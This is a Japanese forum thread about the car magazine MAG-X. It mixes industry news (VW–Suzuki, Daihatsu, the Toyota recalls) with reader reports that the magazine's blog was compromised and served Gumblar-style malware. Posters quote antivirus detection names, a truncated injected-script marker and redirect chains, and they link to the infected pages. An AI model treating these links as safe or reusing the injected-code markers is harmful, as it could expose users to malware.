【総括】MAG-Xを語れ　Part18【スクープ】

ここのサイト改竄されてる

ダイハツ工業の嘘（虚偽燃費）
http://mamono.2ch.net/test/read.cgi/company/1259065562/

嘘でもなんでも良いよ。
国内生産メーカーから車は買う。
海外に生産拠点を移したメーカー買っても、
日本人には何のメリットもないどころか、
デメリットしかない。

とりあえず、日産、スズキのコンパクトは不買だろう。
スバルも軽撤退なら日本では不要。

スバルが無くなるとトヨタグループから安全性の高いクルマが無くなっちゃうよw

はやっｗ

スズキ<7269.T>、フォルクスワーゲンが19.9％出資
ロイター
http://jp.reuters.com/article/companyNews/idJPnTK033844120091209

　ＶＷの１２番目のブランドではない

　都内で会見したスズキの鈴木修会長によると、年間生産台数が二百数十万台規模の同社では環境対応技術など「独力で対応するのは
困難」と考えていたところ、「ＶＷ側から申し出があり、ＶＷのマルティン・ヴィンターコーン会長がスズキの浜松本社を訪れた１１月以降
急ピッチで話が進んだ」という。同席したヴィンターコーン会長も、「スズキとの提携でアジアで大きな成長を得られる」と述べた。

　ＶＷによる出資比率が１９．９％となる理由については、「２００６年にＧＭが売却した金庫株が発行済み株式の１９．９％だった」、
「２０％以上だと（ＶＷの）連結（に入る）関係がある」、「経営についてひとさまにいろいろいわれたくないのが俺の経営哲学」
（鈴木会長）と強調。
スズキが高齢の鈴木会長の後継者をＶＷ側から受け入れる可能性については、「ＶＷの１２番目のブランドになったわけでない」と反論した。

　ＶＷ側がスズキを子会社化できるような出資比率を求めたとの見方については、「３割も５割も出資するのは、赤字で経営危機の場合だ」
（同会長）と明言を避けた。

トヨタグループ
ダイハツ工業株式会社　1998年にトヨタ自動車の傘下に入る　トヨタの持株比率　『　51.2%　 』　（2008年3月末現在）

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
参考

スズキフォルクスワーゲンが　『　19.9％　』　出資

トヨタ関係企業・外縁企業
富士重工業　トヨタの持株比率　『　16.48%　』

http://namidame.2ch.net/test/read.cgi/auto/1260489796/
http://namidame.2ch.net/test/read.cgi/auto/1257813059/
http://namidame.2ch.net/test/read.cgi/auto/1248891518/

>>132
ここのブログ
しょっちゅうアクセスできなくなるな
中身も無いけど、メンテナンスもまともにできないｗ

それ鯖の問題じゃね？

創刊から読んでいたが６年前に精神病になってから読むのを止めていましたが
今号からまた読み出しました。ベストカーもです。

読んでいた→精神を患った→読むのを止めた→●●●●
→また読み始めた

●●●●の部分には何が入るだろう？

１）病状が改善した
２）病状は変わっていない

答えによっては今後が心配・・・・

>>143
２００３年の８月に入院して１０月に退院。車の運転の許可が出ない。
２００４年の１月に車の運転の許可が下りました。
冬場は飛行機で旅行、それ以外は巨人戦全試合をテレビとナゴヤドームで観戦してました。
鉄道の本をよく読んでました。
図解【新説】全国未完成鉄道路線　川島令三　講談社　１６８０円　は面白いです。
アマゾンマーケットプレイスで１８１円から。
現在は診察が８週間に１度、薬が１日１回１種類を飲んでいます。
週５日デイケアに通っています。（１ヶ月で２５００円要りますが補助が４０００円出ます）
年金は３級（年６０万円）しかもらえません。

長文失礼しました。

>>144
川島冷三の本って、妄想ばっかりで鉄スレでもバカにされる存在じゃねーかよ。
まぁ川島本人も売れるためとわかってバカを書いてるらしいが。

中国車のすべて　を買った人いますか？

鉄道の本で一番好きなのは　最新鉄道旅行術　種村直樹　です。
古すぎて情報は役に立たないですが。アマゾンで３６円です。

３６円？
送料を無料にするには何冊買わなきゃいけないんだよｗ

>>147
送料は３４０円です。

本だったら長岡鉄男の本を集めています。全盛時はどういう評価だったのでしょうか。

>>146
買ったよ

>>146
買わなかった。
ベストカーとカー・アンド・ドライバーも読んでるから時間的に無理。

東京モーターショーのすべてとベストカープラスが出た時は疲れた。

ダイハツの燃費偽装の件は追求できるのか？

>>140
ウイルスソフトが「トロイの木馬だよ」って拒絶するんだけど、
何か仕込んでるってこと？
人柱情報プリーズ

あーあーアクセスしちゃったのか
もうダメだと思うよ
馬鹿社長のせい

検出されたウイルス（ワーム、スパイウエア）
Trojan-Downloader.JS.Agent.ewh

www.mag-x.com サーバの位置情報
国名 　　　　　　地域名 　　都市名
UNITED STATES OHIO GROVE CITY

>/*GNU GPL*/ try{window.onl

ブログのページ開くなよ。
感染するぞ。

>>154
年末にひっかかりました('A`)

Acrobat使ってsiszyd32.exeと言うプログラムが侵入。
ftpのパスワード盗まれた様で、自分のHPが改ざんされていて、プロバイダーから
削除依頼が来ました。
HPの改ざんは公的機関のチェックに引っかかったそうです。

結局はクソ社長に対する私怨でサーバーぱくられ
みんなの情報もばらまかれ
復旧未だ出来ず
というのが現状だな

ダイハツ、中国・吉林汽車とボデー部品製造会社の合弁を解消

中国吉林／ボデー部品製造会社の合弁解消に関するお知らせ

日本経済新聞
http://release.nikkei.co.jp/detail.cfm?relID=240353&lindID=4

ブログの続者にウイルスをばらまいても黙殺！
前にも
ここの雑誌にスクープ情報を提供した人が
会社から訴えられたって書き込みがあったけど
いい加減な情報管理の信用できない会社だわ

ダイハツ、中国・吉林汽車とボデー部品製造会社の合弁を解消

日本経済新聞
http://release.nikkei.co.jp/detail.cfm?relID=240353&lindID=4

中国吉林／ボデー部品製造会社の合弁解消に関するお知らせ

　ダイハツ工業株式会社（以下、ダイハツ）は、中国吉林事業の枠組み変更※を踏まえ、
今回、一汽吉林汽車有限公司（以下、吉林汽車）との折半出資による合弁で設立した
ボデー部品製造の一汽ダイハツ（吉林）車体部品有限会社（以下、ＦＤＪＢ）について、
出資持分のすべてを吉林汽車に譲渡し、２０１０年１月４日付で合弁を解消した。

　吉林汽車とダイハツによる協議の結果、吉林汽車における一汽グループの総合力発揮、
およびダイハツにおける経営資源の選択と集中による一層の経営効率化を目指し、
ＦＤＪＢの経営権を吉林汽車に移管することに合意した。

　合弁解消後の新会社は吉林汽車の子会社として、引き続きボデー部品の製造を継承する。

　なお、技術ライセンス契約は継続するため、ダイハツによる吉林汽車への部品供給などの協力関係に変更はない。

仕分け対象けてーい

あのダラダラブログ、やめるちょうどいい機会だよ
素人がブログやるのはもうやめとけ
むずかしいからね！
もっとうまくなってからだ

座談会って本当にそういった形式でやってるの？
プレイボーイの座談会はウソだった事がバレてしまい
公式でも認めたみたいだけど

『ベストカー』は株式の基礎を勉強して『　持ち株比率　』などと言う言葉を使うようになったぞｗ
ＶＷのスズキの提携で勉強したみたいだが

相手の持ち株比率２０％以下のスズキやスバルが傘下などといつまでも言っているのはどこの雑誌かなｗｗ

この本、今年で廃刊になるんじゃねぇ？

モロのメルマガが去年の11月中旬で止まったままなんだが
どうなってるの？

>>167
残ると思う。俺の通ってる病院の売店にも売っている。
その店ではベストカーとホリデーオートは置くのを止めた。

隠蔽していたブログのウイルス撒き散らしが2chでばらされ
あわててメンテナンス予定を公開

>2010年1月8日
この度 CyberX blog で実施しております緊急メンテナンスにつきまして、終了予定をお知らせいたします。
・メンテナンス終了予定 : 2010年1月9日

基礎を勉強していない素人が牛耳る雑誌の下の奴らは
3連休もこき使われて
ミジメ

くこか。

>>157
今は/*LGPL*/だお。
http://pc11.2ch.net/test/read.cgi/sec/1261855221/985-999n

サイト閉じずに放置で改竄受け続けてるのね。。。

985 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:00:29
ここ「ガンブラー」に感染したのか？
http://www.mag-x.com/blog/index.html

986 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:05:28
>>985
ttp://www●mag-x●com/blog/cat16/
/*LGPL*/

987 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:05:45
Bingのキャッシュに/*GNU GPL*/

988 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:06:18
ほかもやられてるお。。。

989 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:09:04
凄いな・・・

990 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:12:58
>>985
実施中の緊急メンテナンス終了予定のお知らせ

対応早いね

991 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:16:09
>>990
他のページが放置っぽい。。。

992 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:17:10
対応早いとこはだいたいわかってないからな
再発する

993 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:20:34
http://www●mag-x●com/にアクセスするとメンテナンスページに飛ばされるけど
リダイレクトが２回あって１回目でG dataが反応する

994 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:22:54
>993
このWebページはウイルスに感染しています

次のウイルスが見つかりました: Trojan-Downloader.JS.Agent.ewo
情報:
2:21:57
Kaspersky Internet Security 2010

995 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:36:34
>>985
これ一ブログじゃなくて収容してるブログ全体にウイルスコード入れられたのか

996 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:37:14
ikhvyhbl;lknouvb;jnl/ nu:;lj/.kl\;N*M*

なんだこれ新型か？

997 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:37:38
>>993
ほんとだ

http://www●mag-x●com/　←302だけどボディに/*LGPL*/
↓
http://www●mag-x●com/pc●html
↓
http://www●mag-x●com/blog/index●html

998 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:40:30
>>997
http://www.google.co.jp/search?q=site%3Awww.mag-x.com
これはひどいなあ

999 ：名無しさん＠お腹いっぱい。：2010/01/10(日) 02:42:04
>>998
うはw収容サイトにもれなく入ってる

まあね、もうね、元の雑誌や関係者自体が
ウィルスみたいなもんだからね
これがね

元の雑誌や関係者自体がウイルスと共に総括されて「purge」されます

自動車会社から見たらウィルスそのものｗ

中の人が発表した期限はとっくに過ぎているけど
メンテナンス本当にやってんのか?
実は
ウイルス対策の金をケチって
何もやってないんじゃないの?

「JAFメイト」の方がロードサービス付きで有益

やつらは車のこと全く分かってないっぽいが
ネットのことも全然分かってないんじゃね？

うんこくせーとかいいながらもつい見てしまう。
もちろん立ち読みで済ますけどなｗ

http://society6.2ch.net/test/read.cgi/koumu/1247981700/N82

独自開発のCVT　大量生産へ MT vs AT論争とはなんだったのか　【中国】
http://tsushima.2ch.net/test/read.cgi/news/1263185461/

【自動車】ダイハツ、ゼロからのコスト削減へ--調達部門管理職を大規模異動 [01/11]
http://anchorage.2ch.net/test/read.cgi/bizplus/1263140773/

ウイルス話で伸びるスレ
誌面についてはとんとなくなってしまった。。。。

しかしスズキはVWと組んだのは正解だと思うね
どんな車が出てくるか期待してる

ウイルスと共にパージＰｕｒｇｅ

【Gumblar/GENO】Web改竄ウイルス総合スレ2【8080】
http://pc11.2ch.net/test/read.cgi/sec/1263055073/

月決めの有料サイトで
28日から半月以上もサイトを閉鎖して
２ちゃんで指摘されるまで
ウイルスばら撒きを隠蔽していたとは悪質だね
金を返す
有料会員がほとんどいないつーことか

独ダイムラー、仏ルノー含む複数の自動車メーカーと提携で協議中
http://www.bloomberg.co.jp/apps/news?pid=90920012&sid=aQgPezNWUc2k

ダイムラー、日産との提携を検討　ルノーと３社連合も
http://www.hokkaido-np.co.jp/news/economic/209691.html

金払ってウイルスがオマケについてきました

金払ってないけど、オマケもらったよ(´･ω･`)

再発させても隠すんだろ
人の揚げ足取りは得意で
自分たちに都合の悪いネタは隠蔽

まるでトヨタみたいな会社だな。

>>194
無職乙！
超優良企業トヨタに失礼なことをいうな

この件にオレ関係ないからな。
オレがやったんじゃねえモン。

＞28日から半月以上もサイトを閉鎖して
２ちゃんで指摘されるまでウイルスばら撒きを隠蔽

「自分たちに都合の話は隠す」体質は
ここのブログがダラダラと批判している
公務員や特殊法人と同じ体質だろ

やめちゃえやめちゃえ！
この機会にやめちゃえ！
それにしてもあの馬鹿、公務員がそんなに嫌いかね

キーワード【 スズキ VW 同月 トヨタ ＶＷ 吉林 ダイハツ 】

200

【自動車】ダイムラー、日産との提携を検討--ルノーと3社連合も [01/12]
http://anchorage.2ch.net/test/read.cgi/bizplus/1263268148/

【自動車】ルノーとダイムラー、小型車開発で提携交渉［09/12/18］
http://anchorage.2ch.net/test/read.cgi/bizplus/1261107458/

新形ウィルスに感染しました

マジ？　もう再発させたの
>>172さんが書いていた通りの展開だ

ウイルス撒き散らしを隠しているサイトに
よくアクセスする勇気あるなあ

スズキ<7269.T>と国内販売で提携予定ない＝フォルクスワーゲン日本法人社長
http://jp.reuters.com/article/domesticEquities2/idJPnTK036690820100114

無意味なブログ更新を繰り返して
話をそらそうと必死のようだが
ウィルスばら撒きの責任をはっきりしろよ

もう復旧したの？
怖くて見にいけないよ

見ると感染

【錆】　スズキ、VWと部品共通化へ…　　高級車気取りのVW厨困惑か？
http://tsushima.2ch.net/test/read.cgi/news/1263609890/

スズキネタ貼りまくっているヤツってなんなの？
バカなの？死ぬの？

VWがこども店長みたいなCMつくりやがった。
http://namidame.2ch.net/test/read.cgi/auto/1262619303/

>>209
中の人によるカモフラージュ、隠蔽工作と思われw

ブログの意味の無い更新と一緒w

>>209
中の人によるカモフラージュ、隠蔽工作と思われw

ブログの意味の無い更新と一緒w

とりあえず一巡したなｗ

これでよし。
全員逝ってくれｗ

アタシもイッちゃった

キーワード【 同月 トヨタ ＶＷ 吉林 VW ダイハツ スズキ 】

>>209
そうか、ほんとくだらないことをするよなｗ

>>215
全部ＮＧワードにぶっこんだら、すごくスッキリしたｗ

自動車評論家に怒ってます
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1135340291

なに？
なに食わぬ顔して、マグペケの宣伝か？　ゴルラァ＃

http://okwave.jp/qa/q2843563.html

＜Ｑ＞
　自社のブログがウイルスに感染したのを知りながら、
サイトを閉じずに半月以上も放置して
ウイルス撒き散らし
その事実を２ちゃんねるの書き込みで暴露されるまで
隠蔽
　↓
　必死に話題をそらそうと、
車に関係が無い書き込みを連発しているブログの責任者を
どうやったら総括できますか？

パージしてください

ウイルスばら撒かれても来月号を買うよ

いや。そんなヤシいるはずないだろｗ
うけるしｗ

紙にもウイルスが付いるゾきっとwww
気を付けろよ

マンセー集団の下っ端は
>>222ネットでも本音が言えないｗ

自動車メーカー、国交省、安全協会が同じことしたら
毎度の狂ったような長文で批判するくせに

「スバル」も韓国進出　日本勢計５社に、競争激化

富士重工業は２１日、韓国で「スバル」ブランドの乗用車を４月から販売すると発表した。
韓国市場では日本車人気が高まっており、トヨタ自動車やホンダなど日本メーカーが相次いで進出。
スバルで５社目になり、日本勢同士の競争も激しくなりそうだ。

　富士重が販売するのは中型セダンの「レガシィ」やスポーツ用多目的車「フォレスター」など３車種で、価格は検討中。
初年度に６００台、２０１４年には３千台の販売をめざす。
韓国での知名度はトヨタやホンダに劣るが、「着実に販売を伸ばせれば、韓国は非常に重要な市場になる」（富士重工業幹部）という。

　韓国輸入自動車協会によると、０９年の輸入車販売台数は約６万１千台。
ウォン安の影響などで前年比１．１％減と１１年ぶりに前年割れだったが、０３年から０８年までに３倍以上に増えた。
日本車も輸入車全体の「大衆化」の流れに乗り、日産自動車や三菱自動車も参入。
トヨタは、従来は高級車「レクサス」だけだったが、昨秋に「カムリ」など「トヨタ」ブランド車も販売を始め、１１月にはブランド別で
輸入車２位になった。

朝日新聞
http://www.asahi.com/car/news/TKY201001210512.html

独ＶＷ：新小型車にスズキの車台を利用する可能性−マネジャー誌
http://www.bloomberg.co.jp/apps/news?pid=90920012&sid=azt3hU0BjFv4

１月21日（ブルームバーグ）：欧州最大の乗用車メーカー、ドイツのフォルクスワーゲン（ＶＷ）は、
計画中の小型車へのスズキの技術の活用に関心を持っており、35の協力プロジェクトが検討されている。
ドイツの経済誌マネジャー・マガツィーンが21日、事情に詳しい複数の匿名の関係者の話を引用して報じた。

　　同誌によると、スズキのプラットホーム（車台）を利用できた場合、一部の小型車モデルのコストを
20％削減できる可能性があるとＶＷはみており、開発担当者らが現在、技術の互換性を調べている。

馬鹿みたいに貼ってんじゃねーよ
ホントうざい
うせろ！
おまえもしかしたら神か？

http://pc11.2ch.net/test/read.cgi/sec/1263822552/411n-
またですか。。。

ミエミエの貼り付けの繰り返しよりも
ウイルス再発情報のほうが
はるかに重要なのでは？
中の連中　悪いとも思ってないんだろう
ほんと読者小バカにしてるよな

ウイルスと共に総括してパージせよ

【削除】掲示板『2ちゃんねる』の都合の悪いスレッドを削除してくれるサービス / スレッド1本の削除費用12〜40万円★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1264131847/

またやらかしたの？

ある意味、すべてやらかしです

トヨタ、世界販売７８１万台＝ＶＷ・スズキを下回る−昨年
http://www.jiji.com/jc/c?g=ind_30&k=2010012500732

　トヨタ自動車が２５日発表した２００９年の世界販売実績（ダイハツ工業と日野自動車を含む）は、
前年比１２．９％減の７８１万３３１３台だった。
マイナスは２年連続。各国政府の新車購入促進策で年後半は販売が持ち直したものの、世界同時不況に伴う前半の不振が響いた。
　また、独フォルクスワーゲン（ＶＷ）グループと包括提携したスズキが同日発表した世界販売実績（速報値）は、２．２％減の
２３０万８０００台。ＶＷと合計すると約８６０万台だった。
トヨタは出資している富士重工業などを含めていないため比較は難しいが、ＶＷ・スズキがトヨタを上回った形だ。
０８年にトヨタに次いで２位だった米ゼネラル・モーターズ（ＧＭ）は０９年の販売実績をまだ公表していない。

【自動車】仏プジョーと三菱自の出資協議、取得価格で難航=仏紙［10/01/26］
http://anchorage.2ch.net/test/read.cgi/bizplus/1264469164/

トヨタ、2009年のグループ総生産台数は前年比11.7％の減少
Goo-net（グーネット）
http://www.goo-net.com/goo_news/news_category9/n_number2141.html

トヨタは1月25日、2009年のグローバル生産台数ほかを発表した。
それによると、ダイハツ、日野自動車を含めたグループ全体の生産台数は、前年比 11.7%減少の723万4439台であった。

トヨタ単独でみると、グローバル生産台数は、前年比22.4％減少の637万1291台。
国内の生産台数は、30.4％減少の279万2274台と、大きく落ち込んだ。
これは、輸出が振るわなかったのが、主な原因に挙げられている。

国内の販売台数で見ると、前年比6.4％減少の137万5509台。
下落の幅が少なくて済んだのは、ハイブリッドカー｢プリウス｣の大ヒットによるもの。
逆に、一番深刻なダメージを受けているのは輸出で、前年比44.1％の減少となる144万4720台。
急激な円高や、世界的な需要低迷の影響が大きかったようだ。

一方、トヨタが展開するレクサスブランドでは、国内販売が8.6％増加の2万8167台。
ハイブリッドカー｢HS250h｣の人気が、販売の増加に貢献したようだ。

最近トヨタ車の総括しなくなったな

>>238
今回はマークXの総括をしていたけど、2ページで終わってた。
相当やる気ない。
その後の太田のレポを見てると、この本は何をやりたいのか
よく分からん。

両角氏が離れちゃったみたいだからな。
ここ最近の総括は複数人の自動車評論家からコメントをとって、それを会話風に纏めているっぽい。
こないだのボルボはＦロード見れば分かるがＭ氏だろ。
デザインはＴ氏と。

まあ、自動車評論家の本音が分かるって意味では貴重かもね。

>>238、239
印象に残ってないんでしょ。多分。

事実上完全スルーみたいになってるじゃん＞トヨタ車
前回のプラドも今回のマークXもたったの2ページで
個別の車に関することにはほとんど触れてない
触れる意味すらない、みたいな扱いになってる

良いなんて勧めてまたアクセルが戻らない欠陥車だったりしたらたまらないもんね。

トヨタを叩くと連結子会社のダイハツにダメージがあると気が着いたから

>>239
実際、今のトヨタ車に褒めたり評価する部分が無いからな。

>>241
理由は簡単
輸入車の総括だと国産車（主にトヨタ）の批判で１Pぐらい使うから

途中で書き込んでしまった

理由は簡単
輸入車の総括だと国産車（主にトヨタ）の批判で１Pぐらい使うから
なので輸入車の総括は長くなり、トヨタ車の総括は短くなる

しかしヨタもマジでヤバイな

相変わらずディーラーの正月休みは悪である。
のスタンスで記事を書いているが

車のディーラーは通常土日出勤だが、正月/ＧＷ/旧盆は休みと言う事で
他の小売業より就業の条件は良い。
と言う事で従業員定着に役立っているんだがな。
そう言う方面からも切り込んで欲しいぞ。

>>239
どういうことかと、今日読んだら、ポロ・ミト・マークＸの総括だったのね
ならマークＸに２Ｐしか割いてないのも仕方ないだろｗ

関東自動車は昔っからアルテッツアの開発もやってたところだから、その流れでマークＸもやってるのかとも思うが、
今回の場合は、本当に丸投げしたのかな？

あと走りの評価が一般誌でえらく高いのはトヨタと無関係だからか？と思ったりしたｗ

>>247
北米市場の落ち込みがトヨタ（レクサス含む）は半端ないからな。
中国市場含む新興国でも出遅れているし・・・・

総括ではないが、トヨタ車は総安物化してる。
カーシェアするような世帯にはお勧めできるね。

今回の大規模リコールで
今までの総括の主張通り
トヨタ車は安物だったことが証明されてしまったな

まず、ブログをリコールしろよな。
ったくよ。

>>251
怖いよねえ・・・

今や全世界から大バッシング。
フォードが一時期、膨大なキャッシュを保有していたけど、エクスプローラーのリコール問題以降、一気に失速して
遂には公的資金投入か？と言われたけど、
トヨタがそうならないことを祈る。

http://mainichi.jp/select/biz/news/20100130k0000e020020000c.html?link_id=RAH01
>米自動車大手ゼネラル・モーターズ（ＧＭ）が、
>トヨタ車からＧＭ車に買い替える顧客に１０００ドル（約９万円）の現金>払い戻しなどで
>優遇するという乗り換えキャンペーン実施を発表したのに続き、
>米フォード・モーターや韓国・現代自動車も同様の買い替え優遇策実施を決めた。

アメリカは容赦無いな

久しぶりに見たらウイルス仕込んであって
ビックリしてここにたどり着いたｗ
これワザとウイルス仕込んでるのか？

愛読者へ感謝の還元週間ってヤツじゃね？

定価５９０円に値上げしたんだな。
俺はこの本とベストカーとＮＡＶＩを買っている。
ＮＡＶＩは来月で終わりなのでマガジンＸのページ数が増えるのは大歓迎だ。

>>257
あー、本当だ。
昨年11月に年間定期購読を申し込んだ時は6,000円だったのに7,080円に値上げされてる。
370円の頃から買ってるから、だいぶ高くなった感じがする。
如何わしい広告があるのに値上げですか。
一時期、ヘンな広告が全て消えたこともあるんだが。

ベストカー
ＭＡＧ−Ｘ
Ｆロード
ＣＧ

これだけが雑誌として存続すればおｋ

モロマガ来た

俺はマガジンＸ、ベストカー、カーアンドドライバー、ＮＡＶＩを読んでいる。

全部なくなっても別に困らんなあ。
マグペケ？　ｗｗｗ　どうでもいい

>>258
自動者メーカーの広告を入れないことで忌憚のない記事を書いてんだから多少のイヤラしい広告は仕方ない

たいして株価下がってないな
トヨタもホンダも
なんだかんだで強いっってことか？

トヨタのリコールについて、きちんとした検証記事載ってる？
それこそMAG-Xの一番張り切るべきところだと思うんだが。

来月号で特集があるんじゃないの?

戦線を拡大し過ぎたせいで、下請けの部品チェックが出来てなかった、とか言ってるけど、
無茶苦茶な下請け虐めしておいて、よく責任をなすりつけるものだと思うわｗ

下請けいじめで検証が止まってるやつが一番問題

頼みの綱のプリウスまで逝っちゃいそうだね。
ブレーキ抜けを指摘されていたのに放置してたからな。
けん引役の次世代車として売り出したプリウスがこれではね。
不運もあったのかも知れないが、消費者を蔑ろにするようになった
トヨタの体質に一番大きな原因があることは間違いない。

トヨタ、マジヤバだね。
内部留保も動かせる現金は少ないとの分析もあるし。
「まさか」の事態もあり得るという見解は軽視していたが、
今は妙にうなずけてしまうところがある。

トヨタが輝いていたのは、奥田-和田体制の時代だったね。
初代プリウス、初代ヴィッツを世に送り出した当時は本当に凄かった。
あの頃は欧州でシェアを伸ばすぞ！と宣言して、あちらを通用する商品を造ろうと一所懸命だった。
こんな事が出来たのも、副社長の和田さんが目を光らせていたからなんだが・・・・

和田さんが出向して、奥田が会長になった後は、技術開発より覇権主義が目立つ会社になってしまった。
さらに部品調達部門出身の渡辺社長時代になると、下請けから部品を安く買い叩き、開発を丸投げする風潮が加わった。

今の豊田社長は本当に巡り合わせが悪いとは思う。

【トヨタ】新型プリウス、ブレーキ苦情が米で１０２件　日本でも　「横断歩道で止まれない」
http://tsushima.2ch.net/test/read.cgi/newsplus/1265138016/

あーあ

http://www.asahi.com/business/update/0202/NGY201002020031.html
http://www.asahi.com/business/update/0202/NGY201002020031_01.html

>270
> 今の豊田社長は本当に巡り合わせが悪いとは思う。

ヒント・前にも久しぶりに創業家出身社長という期待をされた人物がすぐに引き落とされている。

>>269
スターレットの頃から下位グレードにはブレーキが付いてなかったじゃん。
何を今更。

アップル共同創業者のトヨタ車にも不具合−リコール対象外のプリウス
http://www.bloomberg.co.jp/apps/news?pid=90920010&sid=aao77GjWLQeU

同氏は２日のインタビューで、トヨタ自動車のプリウス2010年モデルがクルーズコントロール
（自動速度制御装置）使用時に意図せずに加速し、最大で時速156キロに達することがあると述べた。
同氏はソフトウエア関連の欠陥が原因である公算が大きいとみているが、同氏の苦情に対し、
トヨタと米道路交通安全局（ＮＨＴＳＡ）からは、この２カ月間返答がないという。
トヨタのウェブサイトによれば、リコール（無料の回収・修理）対象台数535万台の
中には、アクセルペダルがフロアマットに引っ掛かる恐れがあるプリウスの04年−
09年モデルが含まれる。しかし、ウォズニアック氏の所有するクルーズコントロール
付き10年モデルは対象外だ。

ウォズニアック氏（59）は、
「わたしの事例が重大かつ緊急である理由は、それがエレクトロニクスにかかわるからだ。」
「アクセルペダルに足が触れない状態でも、クルーズコントロールの使用時にそれは起きる」と説明した


あーあ、セレブに人気ってのを散々利用したツケが回ってきたな。

>>265
自社のブログがウイルス感染していたのを
このスレで指摘されるまで隠蔽していた
三菱ふそうみたいな雑誌屋に
批判する資格なんかないだろｗ

結局、総括大勝利に終わるとはｗ
数ヶ月前は考えられなかったｗ

>>277
総括、神すぎワロタ

>>277
総括になにか書いてあったっけ？

ほらあ。だからオレ様が逝った通りだろ？
プリプリなんかエコカーでもなんでもないし。
そもそもまだ市販車レベルにですら達してない。
トヨさまのやることは、こんなもんだ。

皆オレ様に謝れ。オレを崇めろ。神と崇めろ。

総括では、まずいとは言い続けてきたけれど、
食中毒を起こすとは言ってなかった。
トヨタのクルマは嫌いだけど、便乗して悪ノリするのはなんだかねぇ…

なんとフランスだけはトヨタに同情してるみたいだぜw

総括メンバーも言ってたけど、最近の車は本当にテストコースでしか走行実験してないんだろうな。
プリウスの件も、一般道でもっと時間をかけて走行テストをしていれば市販前に改善できてたと思うんだが。
　

【池原照雄の単眼複眼】VWスズキ「世界販売首位」報道の？？？
http://response.jp/article/2010/01/27/135453.html

◆読者惑わすご都合主義の集計
25日から26日の新聞・テレビ報道を見て、
スズキの鈴木修会長兼社長は「ウチはいつからVW（フォルクスワーゲン）の子会社になったんだ？」と笑ったのではないだろうか。
2009年の世界販売でVWとスズキを合算するとトヨタ自動車を抜いて「首位」になったと一斉に報じられたからだ。
筆者も25日夜の NHKニューズを見て、でんぐり返る想いだった。

世界再編がうねり始めた自動車産業でVWとスズキの提携がいかに巨大であるかを読者に伝えたいのだろうが、
その時の状況によってカウントを変えるご都合報道は、かえって読者を惑わすだけだ。

自動車企業や企業グループの世界販売実績は、連結決算の範囲で集計したり、比較したりするのが1990年代半ばから慣例となってきた。
合弁会社が基本の中国では持分法適用会社の販売実績を加えるという例外はあるが、要は連結業績に影響を与える企業群の
販売ボリュームを見るところに意味がある。

◆スズキがVWのブランドになったわけでない
VWはすでにスズキに19.9％を出資する筆頭株主となり、両社の業務提携は幅広いものとなっていくだろう。
だが、昨年12月の提携発表会見で鈴木会長が「みなさん勘違いされているのではないか。
（提携でスズキが）ＶＷの12番目のブランドになったわけではない」と述べたように、両社は提携メリットを追求しながらも、
独立した事業体としてやっていくのだ。

かつて、スズキに2割強を出資していた米GM（ゼネラルモーターズ）の世界販売に、スズキ分が合算されて報道されることはなかった。
仮に資本と業務の両面で提携があるのを「連合」とするなら、トヨタの実績にはダイハツ工業と日野自動車のほかに、
富士重工業といすゞ自動車も加えて比較しなければならない。

つづき

◆ 2009年もトヨタが首位を堅持
日本各社の2009年の生産・販売実績は25日に発表されたのだが、ご丁寧に予定稿まで用意し、
スズキの実績が分かった段階で「VW・スズキ、世界販売1 位」と同日の夕刊で報じた全国紙があった。

これを見た各紙の朝刊担当デスクが、担当記者に「とにかく入れろ」と、追随を迫ったのだろう。
事情の分からないデスクとやり合わねばならない担当記者もお気の毒だ。

ということで、まだGMの実績は発表されていないものの、トヨタグループの781万台（前年比13％減）に届かないのは確実であり、
「トヨタが2009年も世界販売首位を堅持」したことを、ここで強調しておこう。

しかしここ数日のトヨタ叩きの集中砲火は酷いね。
でも、ここ数年トヨタはおかしかったよ。白物家電のような車ばっかりで、今までの売りであった
内装も質感がなくなって、今のクラウンのプラスチッキーな内装、あれはないでしょ？
トヨタの重役はあれでOKしたというのが信じられない。でも、>>270が書いたようにあの渡辺社長、
カイゼンとコストダウンしか言ってなかったしな、よりよい車を顧客に提供するなんてこと一言も
聞いたことないよ、フォーブスで名経営者で名前が出てたけれど己の欲に邁進した最低な経営者だと
思ってる。

まっ、これで痛いお灸を据えられて以前のFun To Driveな車が再び登場することを願ってるよ。

キーワード【 VW 総括 吉林 ダイハツ スズキ ＶＷ トヨタ 】

>以前のFun To Driveな車が再び登場

トヨタ車にあったっけ？？

ヨタハチあたりは当時としては結構楽しかったかもね

>>288
初代MR-2、2代目ソアラ、セリカGT-FOURなどは普通に座って運転しててしっくり
くるものがあるんだよね。今乗っても楽しいし、それに作り手の意気込みを感じるよ。

セリカGT-FOURは、最終型の評価は総括でも高かったね。
流面系は、ケチョンンケチョンだったけれど。

マークXの記事が面白いことになってたな

トヨタグループの主な会社一覧
ttp://kaisha-mechanic.com/4-group/toyota01.htm

総括とカラーページのマークX評価違いすぎて吹いた

そんなもん20年前からの伝統だ

３５００が良くて、２５００がだめなんだろ。
カーアンドドライバーでも３５００をほめてた。

あんたが乗って良いってんなら話も分かるが
提灯記事雑誌がソースってどんだけ素直な心の持ち主だよ

>>295
初代編集長が、スクープ段階と総括での評価の違いを説明していた。
「スクープすることで迷惑をかけているのだから、そのときは悪いことは書けない」と。

現在の、太田さんの試乗記との評価の差は、単に評価ポイントの違いでしょう。

スズキ、中国で１万台リコール　新型アルト対象

日本経済新聞
http://markets.nikkei.co.jp/kokunai/tegakari.aspx?site=MARKET&genre=c3&id=ATDD0506W%2005022010

【北京＝高橋哲史】
